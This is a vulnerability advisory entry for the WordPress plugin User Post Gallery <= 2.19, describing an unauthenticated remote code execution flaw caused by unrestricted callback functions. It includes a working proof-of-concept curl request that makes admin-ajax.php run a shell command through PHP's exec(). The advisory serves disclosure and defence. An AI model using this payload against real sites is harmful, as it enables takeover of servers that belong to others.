WordPress Plugin Vulnerabilities
User Post Gallery <= 2.19 - Unauthenticated RCE
Description
The plugin does not limit what callback functions can be called by users, making it possible to any visitors to run code on sites running it.
Proof of Concept
Invoke the following curl command to execute the "id" command via PHP's exec() function: curl -i 'http://127.0.0.1:7777/wp-admin/admin-ajax.php?action=upg_datatable&field=field:exec:id:NULL:NULL'
Affects Plugins
No known fix - plugin closed
References
Classification
Miscellaneous
Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes
Timeline
Publicly Published
2022-12-23 (about 3 months ago)
Added
2022-12-23 (about 3 months ago)
Last Updated
2022-12-23 (about 3 months ago)